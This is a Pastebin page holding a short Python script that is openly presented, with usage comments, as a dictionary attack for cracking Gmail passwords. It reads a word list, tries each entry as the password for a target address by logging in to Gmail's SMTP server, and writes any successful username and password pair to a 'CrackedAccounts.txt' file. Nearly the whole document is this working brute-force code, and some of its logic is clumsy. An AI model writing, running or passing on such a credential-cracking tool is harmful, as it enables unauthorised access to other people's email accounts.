Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Made by Michael Kofph
- # USAGE:
- # You will need to create a .txt file with the words you're trying to crack with
- # That .txt file will act as a dictionary for the attack.
- # In order to begin the attack, type "crack your.target@gmail.com" (<-- example)
- # This is Python 3.5, so you will need to download Python 3.x, not 2.x#############
- # No additional libraries used.########################################
- ################################
- import smtplib,os;
- from tkinter import *
- savecrack = "CrackedAccounts.txt"
- if not os.path.isfile(savecrack):
- newf = open(savecrack,'w')
- newf.close()
- class common:
- def get_file_len(fname):
- try:
- with open(fname) as f:
- for i, l in enumerate(f):
- pass
- return i + 1;
- except:
- print((">> %s is empty!") % fname);
- return 0;
- class new:
- def listclone(org,new):
- if os.path.isfile(new):
- os.remove(new);
- if os.path.isfile(org):
- orig = open(org,'r');
- dataf = str(orig.read());
- orig.close()
- #####
- nouw = open(new,'w');
- nouw.write(dataf);
- nouw.close()
- return new;
- ##############################################################################################
- ## ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ CRACK ~~ ##
- ##############################################################################################
- class crack:
- class gmail:
- def attemptlogin(usr,pww):
- global savecrack;
- extractedPw = None;
- try:
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.starttls()
- try:
- server.login(usr,pww)
- pxw = ('\n'+"!- ::username:"+usr+"::password:"+pww+"::")
- with open(savecrack,'a+') as tempers:
- tempers.write(pxw)
- tempers.close()
- pww = (("\n!-Cracked password for [%s]! Password is [%s]-!") % (usr,pww));
- return pww; # Correct password
- except:
- return None; # Incorrect password
- server.quit()
- except:
- return "ERROR while attempting a password-!"; # An error occurred
- class lists:
- def makeguess(dictnry):
- results = None;
- def choice_next(dicfile):
- dictnry_file = open(dicfile,'r');
- for line in dictnry_file:
- updated_data = dictnry_file.read()
- updated_data.replace(line,"");
- dicr = open(dicfile,'w');
- dicr.write(updated_data);
- dicr.close()
- return line;
- results = choice_next(dictnry);
- return results;
- def attack(pwlist,user):
- global appendix;
- try:
- for i in range(0,common.get_file_len(pwlist)):
- NewWord = crack.lists.makeguess(pwlist);
- if "\n" in NewWord:
- NewWord = NewWord.replace("\n","");
- print(("::attempting password:[%s] on user:[%s]") % (NewWord,user))
- if user.endswith("@gmail.com"):
- logintry = crack.gmail.attemptlogin(user,NewWord);
- else:
- print("Unrecognized softw");
- return None;
- if logintry != None:
- return logintry;
- except:
- print(">> An error occurred");
- return "No matching passwords";
- ##############################################################################################
- while True:
- mimput = input(">>");
- if "crack" in mimput:
- cleaned = mimput.replace("crack ","")
- xx = crack.lists.attack( new.listclone( "Dictionary.txt", "roaming.txt" ) , cleaned);
- print(xx);
- else:
- print("Unrecognized ..");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement